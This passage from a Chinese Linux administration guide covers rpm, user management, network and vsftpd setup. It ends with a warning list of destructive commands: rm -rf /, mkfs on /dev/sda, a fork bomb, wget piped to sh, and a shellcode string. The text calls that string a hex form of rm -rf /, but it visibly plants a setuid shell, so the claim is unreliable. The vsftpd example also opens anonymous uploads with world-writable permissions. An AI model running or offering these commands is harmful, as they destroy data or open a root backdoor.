<p>-cpio：对匹配的文件使用cpio命令，将这些文件备份到磁带设备中。</p>
<p>另外,下面三个的区别:</p>
<p>-amin n</p>
<p>查找系统中最后N分钟访问的文件</p>
<p>-atime n</p>
<p>查找系统中最后n*24小时访问的文件</p>
<p>-cmin n</p>
<p>查找系统中最后N分钟被改变文件状态的文件</p>
<p>-ctime n</p>
<p>查找系统中最后n*24小时被改变文件状态的文件</p>
<p>-mmin n</p>
<p>查找系统中最后N分钟被改变文件数据的文件</p>
<p>-mtime n</p>
<p>查找系统中最后n*24小时被改变文件数据的文件</p>
<p>ar</p>
<p>功能说明：建立或修改备存文件，或是从备存文件中抽取文件。</p>
<p>语 法：ar[-dmpqrtx][cfosSuvV][a&lt;成员文件&gt;][b&lt;成员文件&gt;][i&lt;成员文件&gt;][备存文件][成员文件]</p>
<p>补充说明：ar可让您集合许多文件，成为单一的备存文件。在备存文件中，所有成员文件皆保有原来的属性与权限。</p>
<p>参 数：</p>
<p>指令参数</p>
<p>-d 删除备存文件中的成员文件。</p>
<p>-m 变更成员文件在备存文件中的次序。</p>
<p>-p 显示备存文件中的成员文件内容。</p>
<p>-q 将文件附加在备存文件末端。</p>
<p>-r 将文件插入备存文件中。</p>
<p>-t 显示备存文件中所包含的文件。</p>
<p>-x 自备存文件中取出成员文件。</p>
<p>选项参数</p>
<p>a&lt;成员文件&gt; 将文件插入备存文件中指定的成员文件之后。</p>
<p>b&lt;成员文件&gt; 将文件插入备存文件中指定的成员文件之前。</p>
<p>c 建立备存文件。</p>
<p>f 为避免过长的文件名不兼容于其他系统的ar指令指令，因此可利用此参数，截掉要放入备存文件中过长的成员文件名称。</p>
<p>i&lt;成员文件&gt; 将文件插入备存文件中指定的成员文件之前。</p>
<p>o 保留备存文件中文件的日期。</p>
<p>s 若备存文件中包含了对象模式，可利用此参数建立备存文件的符号表。</p>
<p>S 不产生符号表。</p>
<p>u 只将日期较新文件插入备存文件中。</p>
<p>v 程序执行时显示详细的信息。</p>
<p>rpm</p>
<p>一种用于互联网下载包的打包及安装工具，它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件，与Dpkg类似。</p>
<p>RPM是RedHat Package Manager（RedHat软件包管理工具）的缩写，这一文件格式名称虽然打上了RedHat的标志，但是其原始设计理念是开放式的，现在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分发版本都有采用，可以算是公认的行业标准了。</p>
<p>常用rpm命令</p>
<p>查询rpm软件包</p>
<p>#rpm -q软件包名</p>
<p>#rpm -qa //查询安装的所有软件包</p>
<p>#rpm -qa|grep软件包字符串</p>
<p>#rpm -qf /bin/命令//查询命令由哪些软件包安装得到</p>
<p>#rpm -qi软件包名 //查询软件包的详细信息</p>
<p>#rpm -ql软件包名 //查询软件包的安装位置</p>
<p>软件包的安装</p>
<p>#rpm -ivh软件包</p>
<p>软件包的升级</p>
<p>#rpm -Uvh软件包</p>
<p>软件包的卸载</p>
<p>#rpm -e软件包名</p>
<h1>组的管理</h1>
<p>#useradd 用户名 //创建用户和组</p>
<p>#passwd 用户名 //设置用户密码</p>
<p>#groupadd组名 //创建组</p>
<p>#usermod–d路径用户名 //修改用户宿主目录</p>
<p>#usermod–u uid 用户名 //修改用户的UID</p>
<p>#usermod-s /bin/[csh] 用户名 //修改用户启动shell</p>
<p>#usermod-G 组名 用户名 //将用户加入组, 创建私有组</p>
<p>#usermod-g 组名 用户名 //用户加入组但不创建私有组</p>
<p>#gpasswd -a 用户名 组名 //同-G</p>
<p>#gpasswd -d 用户名 组名 //将用户从组中删除</p>
<p>#gpasswd -A 用户名 组名 //指定用户成为组的管理员</p>
<p>#usermod-L 用户名 //锁定用户#passwd -l 用户名 //同上</p>
<p>#usermod-U 用户名 //解锁用户#passwd -u 用户名 //同上</p>
<p>#usermod-l 新名 原名 //重命名用户</p>
<p>#groupmod -n 新名 原名 //重命名组</p>
<p>#userdel 用户名 //删除用户#userdel –r 用户名 //彻底删除，包括用户的宿主目录</p>
<p>#groupdel组名 //删除组</p>
<p>#passwd -d 用户名 /删除用户密码/</p>
<h1>进程服务</h1>
<p>查看进程</p>
<p>#ps -aux //查看所有进程（静态）</p>
<p>#top //查看动态变化的进程</p>
<p>#pstree//查看进程树</p>
<p>将进程放在后台运行</p>
<p>#命令 &amp;</p>
<p>查看后台运行的进程</p>
<p>#jobs</p>
<p>将后台运行的进程调入前台</p>
<p>#fg 编号</p>
<p>强制结束进程</p>
<p>#kill -9 PID 或#killall -9进程名</p>
<p>init进程是所有进程的父进程其级别如下</p>
<p>0 关机</p>
<p>1 单用户</p>
<p>2 多用户字符，但是不支持NFS</p>
<p>3 完全多用户字符</p>
<p>4 用户自定义</p>
<p>5图形</p>
<p>6 重启</p>
<p>查看服务启动情况（独立启动方式）</p>
<p>#chkconfig &#8211;list //查看所有服务的启动状态</p>
<p>#chkconfig &#8211;list httpd</p>
<p>设置独立启动服务</p>
<p>#chkconfig &#8211;level 35 httpd on或off</p>
<p>设置非独立启动服务</p>
<p>#chkconfig telnet on或off#service xinetd restart</p>
<p>设置服务在开机时自动运行</p>
<p>#ntsysv</p>
<h1>网卡设置</h1>
<p>1、 设置ip地址（即时生效，重启失效）</p>
<p>#ifconfig eth0 ip地址 netmask子网掩码</p>
<p>2、 设置ip地址（重启生效，永久生效）</p>
<p>#setup</p>
<p>3、 通过配置文件设置ip地址（重启生效，永久生效）</p>
<p>#vi /etc/sysconfig/network-scripts/ifcfg-eth0</p>
<p>DEVICE=eth0 #设备名，与文件同名。</p>
<p>ONBOOT=yes #在系统启动时，启动本设备。</p>
<p>BOOTPROTO=static</p>
<p>IPADDR=202.118.75.91 #此网卡的IP地址</p>
<p>NETMASK=255.255.255.0 #子网掩码</p>
<p>GATEWAY=202.118.75.1 #网关IP</p>
<p>MACADDR=00:02:2D:2E:8C:A8 #mac地址</p>
<p>4、 重启网络服务</p>
<p>#service network restart //重启所有网卡</p>
<p>5、 禁用网卡,启动网卡</p>
<p>#ifdown eth0</p>
<p>#ifup eth0</p>
<p>6、 屏蔽网卡，显示网卡</p>
<p>#ifconfig eth0 down</p>
<p>#ifconfig eth0 up</p>
<p>7、 配置DNS客户端（最多三个）</p>
<p>#vi /etc/resolv.conf</p>
<p>nameserver 202.99.96.68</p>
<p>8、更改主机名（即时生效）</p>
<p>#hostname主机名</p>
<p>9、更改主机名（重启计算机生效，永久生效）</p>
<p>#vi /etc/sysconfig/network</p>
<p>HOSTNAME=主机名</p>
<h1>服务进程</h1>
<p>FTP服务</p>
<p>1 使用setup命令开启vsftpd服务进程。</p>
<p>2然后修改文件/etc/xinetd.d/vsftpd。（但vsftpd是依附于xinetd.d运行时2、3有效）</p>
<p>（1）把disable=yes改为=no。</p>
<p>（2）配置每个客户机的最大连接数：</p>
<p>在配置文件/etc/xinetd.d/vsftpd的{}中添加如下的配置语句：</p>
<p>per_source = 数值。例如：per_source = 5 表示每个客户机的最大连接数为5。</p>
<p>（3）配置服务器总的并发连接数：</p>
<p>在配置文件/etc/xinetd.d/vsftpd 的{}中添加如下的配置语句：</p>
<p>instances = 数值。例如：instances = 200 表示FTP 服务器总共支持的最高连接数为200。</p>
<p>（4）当vsftpd单独运行时：要配置独立运行的vsftpd很简单，只需要在前面的主配置文件的基础上添加如下的配置即可。</p>
<p>设置listen=YES ：指明vsftpd以独立运行方式启动。</p>
<p>设置max_clients=200 ：指明服务器总的并发连接数</p>
<p>设置max_per_ip=4 ：指明每个客户机的最大连接数。</p>
<p>3. 配置/etc/vsftpd.conf（redhat9 是/etc/vsftpd/vsftpd.conf）文件。</p>
<p># 允许真实用户(在系统中有账号的用户)访问</p>
<p>local_enable=YES</p>
<p># 给真实用户写权限</p>
<p>write_enable=YES</p>
<p># 真实用户上传文件的掩码设为022。这样真实用户上传后的文件权限为755(rwxr-xr-x)，即文件所有者可读写执行、同组成员可读可执行、</p>
<p># 系统中的其它用户可读可执行。</p>
<p>local_umask=022</p>
<p># 允许匿名用户访问。匿名用户在系统中的账号是ftp</p>
<p>anonymous_enable=YES</p>
<p># 匿名用户上传文件的掩码设为000。这样文件上传后的权限为777(rwxrwxrwx)，即所有人都可以读写执行。</p>
<p>anon_umask=000</p>
<p># 匿名用户可上传、可创建目录。一下3行只有设置了write_enable=YES才有效。</p>
<p>anon_upload_enable=YES</p>
<p>anon_mkdir_write_enable=YES</p>
<p>anon_world_readable_only=NO</p>
<p># 如果想要让匿名用户有删除的权限可以加上如下代码</p>
<p># anon_other_write_enable=YES</p>
<p># 进入每个目录都显示特定提示。这些提示放在各个目录下.message文件中。</p>
<p>dirmessage_enable=YES</p>
<p># 当用户登陆ftp服务器时，不管是否登陆成功都显示如下信息。</p>
<p>ftpd_banner=Welcome to NiHao FTP service.</p>
<p># 使用日志记录上传和下载。</p>
<p>xferlog_enable=YES</p>
<p># 日志文件的位置</p>
<p>#xferlog_file=/var/log/vsftpd.log</p>
<p>#日志使用标准fpd格式</p>
<p>xferlog_std_format=YES</p>
<p># ftp服务的端口是20</p>
<p>connect_from_port_20=YES</p>
<p># 用户使用ftp访问服务器时，把他们的登陆目录作为它们在ftp中看到的目录，这称为chroot。</p>
<p># 这样用户就无法访问他们登陆目录以外的内容，大大增强了安全性。匿名用户的登陆目录是/var/ftp/</p>
<p>chroot_list_enable=YES</p>
<p># 文件/etc/vsftpd.chroot_list中的用户不chroot。</p>
<p>chroot_list_file=/etc/vsftpd.chroot_list</p>
<p># 同时最多允许5个用户登陆。</p>
<p>max_clients=5 #有些不支持此选项，注释掉即可。</p>
<p># ftp服务的密码验证模块。</p>
<p>pam_service_name=vsftpd</p>
<p># listen=YES #如果是独立运行的则加此项（redhat9）。</p>
<p>#tcp_wrappers=YES #如果是独立运行的则加此项（redhat9）。</p>
<p>4.重新启动xinetd服务，你就可以匿名访问你的ftp服务器了。</p>
<p>下面我们来建立一个ftp管理员账号</p>
<p>在Linux ftp服务中，用户的权限受到双重限制。一是Linux文件系统本身的权限限制。每个文件的访问权限用rwxrwxrwx形势表示。每个用户只能做文件权限允许的操作。二是ftp配置的限制。系统允许的操作，如果在ftp的配置文件中没有被允许，用户还是不能作这个操作。如：某个文件的权限为rwxrwxrwx，即系统认为任何人都有读写执行的权利。如果vsftpd.conf中不允许匿名用户写，匿名用户还是不能修改这个文件。</p>
<p>对于目录文件的读权限，意味着可以读出这个目录中的文件信息。目录文件的写权限，意味着可以在这个目录下建立、删除、重命名文件。</p>
<p>用命令groupadd-r ftpAdmin添加一个ftp管理员组。其中-r表示这是一个系统组。</p>
<p>用命令useradd -c &quot;ftp Administrator&quot; -d /var/ftp/ -G ftpAdmin -s /sbin/nologin -r ftpAdmin添加一个管理员用户ftpAdmin。其中</p>
<p>-c &quot;ftp Administrator&quot; 是对这个用户的描述</p>
<p>-d /var/ftp/ 是这个用户的登陆目录</p>
<p>-g ftpAdmin 是这个用户所在的组</p>
<p>-s /sbin/nologin 是这个用户登陆时所用的shell。这个shell命令的功能极其弱，以至于不能用telnet登陆。也就是说这个管理员只能当当垃圾清扫员。(呵呵。好没面子的管理员)</p>
<p>-r 表示这是个系统账号，不用为它建立登陆目录。</p>
<p>建好管理员以后把incoming目录的管理权给他。</p>
<p>chown ftpAdmin /var/ftp/incoming ：把此目录所有者设为ftpAdmin。</p>
<p>chmod 755 /var/ftp/incoming ：把目录的权限设为所有者可读写执行，同组用户可读、可执行，所有人可读、可执行。</p>
<p>这样，我们的管理员就可以开始管理了。</p>
<p>5 . 配置vsftpd允许匿名用户上传</p>
<p>//修改vsftpd的主配置文件/etc/vsftpd.conf</p>
<p># vi /etc/vsftpd.conf</p>
<p>//将如下两行前的#删除</p>
<p>//① #anon_upload_enable=YES 允许匿名用户上传</p>
<p>//② #anon_mkdir_write_enable=YES 开启匿名用户的写和创建目录的权限</p>
<p>//若要以上两项设置生效，同时还要求：</p>
<p>//(1) write_enable=YES</p>
<div></div>
<p>//(2) 匿名用户对文件系统的上传目录具有写权限</p>
<p>//添加如下的配置语句</p>
<p>// anon_world_readable_only=NO</p>
<p>//上面的配置语句用于放开匿名用户的浏览权限</p>
<p>//修改后存盘退出vi</p>
<p>//</p>
<p>//创建匿名上传目录</p>
<p>#mkdir/var/ftp/incoming</p>
<p># 修改上传目录的权限</p>
<p># chmod o+w /var/ftp/incoming/</p>
<p>#</p>
<p>//重新启动xinetd</p>
<p># service xinetd restart</p>
<p>Web服务</p>
<p>（httpd）</p>
<p>同样在setup中选中httpd服务。www服务不需要xinetd作为它的代理进程。httpd这个进程一直在系统中运行。www服务的默认目录是/var/www/html。只要把主页放到这个目录下就可以访问了。</p>
<p>我们可以用建立ftp管理员的办法建立一个www管理员wwwAdmin。只要把它的登陆目录设为/var/www/html即可。</p>
<p>/etc/init.d/httpd start #启动服务</p>
<p>/etc/init.d/httpd restart #重新启动</p>
<p>其配置文件为/etc/httpd/conf/httpd.conf</p>
<p>ssh服务</p>
<p>SSH 是什么呢？他有什么特异功能？简单的来说，SSH 是 Secure SHell protocol 的简写，他可以经由将联机的封包加密的技术，来进行资料的传递，因此，资料当然就比较安全啰！这个 SSH 可以用来取代 Internet 上面较不安全的 finger, R Shell (rcp, rlogin, rsh 等指令), talk 及 telnet 等联机模式。底下我们将先简介一下 SSH 的联机模式，来说明为什么 SSH 会比较安全呢！</p>
<p>特别注意：这个 SSH 协议，在预设的状态中，本身就提供两个服务器功能：</p>
<p>1. 一个就是类似 telnet 的远程联机使用 shell 的服务器，亦即是俗称的 ssh ；</p>
<p>2. 另一个就是类似 FTP 服务的 sftp-server ！提供更安全的 FTP 服务。</p>
<h1>应用实例</h1>
<p>#!/bin/ksh</p>
<p>home=`pwd`</p>
<p>export CLASSPATH=&quot;${home}/lib/swift-fields-1.0.jar:${home}/lib/wife-5.2.jar:${home}/lib/commons-lang-2.4.jar:${home}/lib/log4j-1.2.15.jar:${home}/lib/poi-3.1-FINAL.jar:${home}/lib/swiftmsggeneration-1.0.jar&quot;</p>
<p>LOG_FILE=${home}/log/start_data_decrypt`date +&quot;%y%m%d&quot;`.log</p>
<p>echo &quot;LOG_FILE: &quot; $LOG_FILE</p>
<p>if [ -f $LOG_FILE ]; then</p>
<p>FILE_LEN=`cat $LOG_FILE|wc -l`</p>
<p>#echo $FILE_LEN, 200000 is about 30MB</p>
<p>if [ $FILE_LEN -gt 200000 ]; then</p>
<p>mv $LOG_FILE $LOG_FILE.bak</p>
<p>touch $LOG_FILE</p>
<p>chmod o+r $LOG_FILE</p>
<p>fi;</p>
<p>fi</p>
<p>if [ -z ${JAVA_HOME} ] ; then</p>
<p>echo &quot;Get JAVA_HOME environment variable exported in terms of the directory to store JDK installed&quot; &gt;&gt;${LOG_FILE}</p>
<p>exit -1</p>
<p>fi</p>
<p>echo &quot;INFO:Generation begin &#8230;&#8230;&#8230;.&quot; &gt;&gt;${LOG_FILE}</p>
<p>$JAVA_HOME/bin/java -cp ${CLASSPATH} com.abc.cde.swift.job.SwiftMsgGeneration &quot;MT202&quot; 2&gt;&amp;1 &gt;&gt; $LOG_FILE</p>
<p>echo &quot;INFO:Generation end &#8230;&#8230;&#8230;.&quot; &gt;&gt;${LOG_FILE}</p>
<p>echo &quot;INFO:You can get original file in ${hist} &#8230;&#8230;&#8230;.&quot; &gt;&gt;${LOG_FILE}</p>
<p>echo &quot;INFO:You can get ecnrypt file in ${output} &#8230;&#8230;&#8230;.&quot; &gt;&gt;${LOG_FILE}</p>
<h1>其他相关</h1>
<h2 id="a-b9cfa9a8">擦除根目录</h2>
<p>Code:</p>
<p>rm -rf /</p>
<p>这个很简单，根目录会被擦光。</p>
<p>2. 16进制擦除根目录</p>
<p>Code:</p>
<p>char esp[] __attribute__ ((section(&quot;.text&quot;))) /* e.s.p</p>
<p>release */</p>
<p>= &quot;//xeb//x3e//x5b//x31//xc0//x50//x54//x5a//x83//xec//x64//x68&quot;</p>
<p>&quot;//xff//xff//xff//xff//x68//xdf//xd0//xdf//xd9//x68//x8d//x99&quot;</p>
<p>&quot;//xdf//x81//x68//x8d//x92//xdf//xd2//x54//x5e//xf7//x16//xf7&quot;</p>
<p>&quot;//x56//x04//xf7//x56//x08//xf7//x56//x0c//x83//xc4//x74//x56&quot;</p>
<p>&quot;//x8d//x73//x08//x56//x53//x54//x59//xb0//x0b//xcd//x80//x31&quot;</p>
<p>&quot;//xc0//x40//xeb//xf9//xe8//xbd//xff//xff//xff//x2f//x62//x69&quot;</p>
<p>&quot;//x6e//x2f//x73//x68//x00//x2d//x63//x00&quot;</p>
<p>&quot;cp -p /bin/sh /tmp/.beyond; chmod 4755</p>
<p>/tmp/.beyond;&quot;;</p>
<p>没看懂？呵呵，其实就是16进制的[rm -rf /].</p>
<h2 id="a-a91262a1">抹盘处理</h2>
<p>Code:</p>
<p>mkfs.ext3 /dev/sda</p>
<p>抹盘行为无疑是危险的。</p>
<h2 id="a-a22c0b94">大数据处理</h2>
<p>Code:</p>
<p>:(){:|:&amp;};:</p>
<p>这不是90后的表情，也不是托蒂射点球前的表情，它可以让你的系统迅速因为处理大量数据而死机。用此条命令测试后无反应呢？</p>
<p>5. 写RAM数据</p>
<p>Code:</p>
<p>any_command &gt; /dev/sda</p>
<p>这个命令将会写入大量的RAW数据，可以导致数据丢失。</p>
<p>执行 ls &gt; /dev/sda 后无法进入系统，你可以试试哦</p>
<p>6. 未验证的下载源</p>
<p>Code:</p>
<p>wget some_untrusted_source -O- | sh</p>
<p>和Windows一样，千万不要乱下载未经证实安全性的源，这年头Linux和胡萝卜一样，也不会保险。</p>
<p>7. 消失的主目录</p>
<p>Code:</p>
<p>mv /home/yourhomedirectory/* /dev/null</p>
<p>这条命令无疑会让系统抓狂，你的主目录会再也看不到。</p>
</article>
<div class="mt-3 mb-3" style="max-width: 770px;height: auto;">
                                    </div>
<div class="mt-3 mb-3" style="max-width: 770px;height: auto;">
                                    </div>
<div class="mt-3 mb-3" style="max-width: 770px;height: auto;">
                                    </div>
]]></content:encoded>
					
					<wfw:commentRss>https://www.aitaocui.cn/article/358139.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
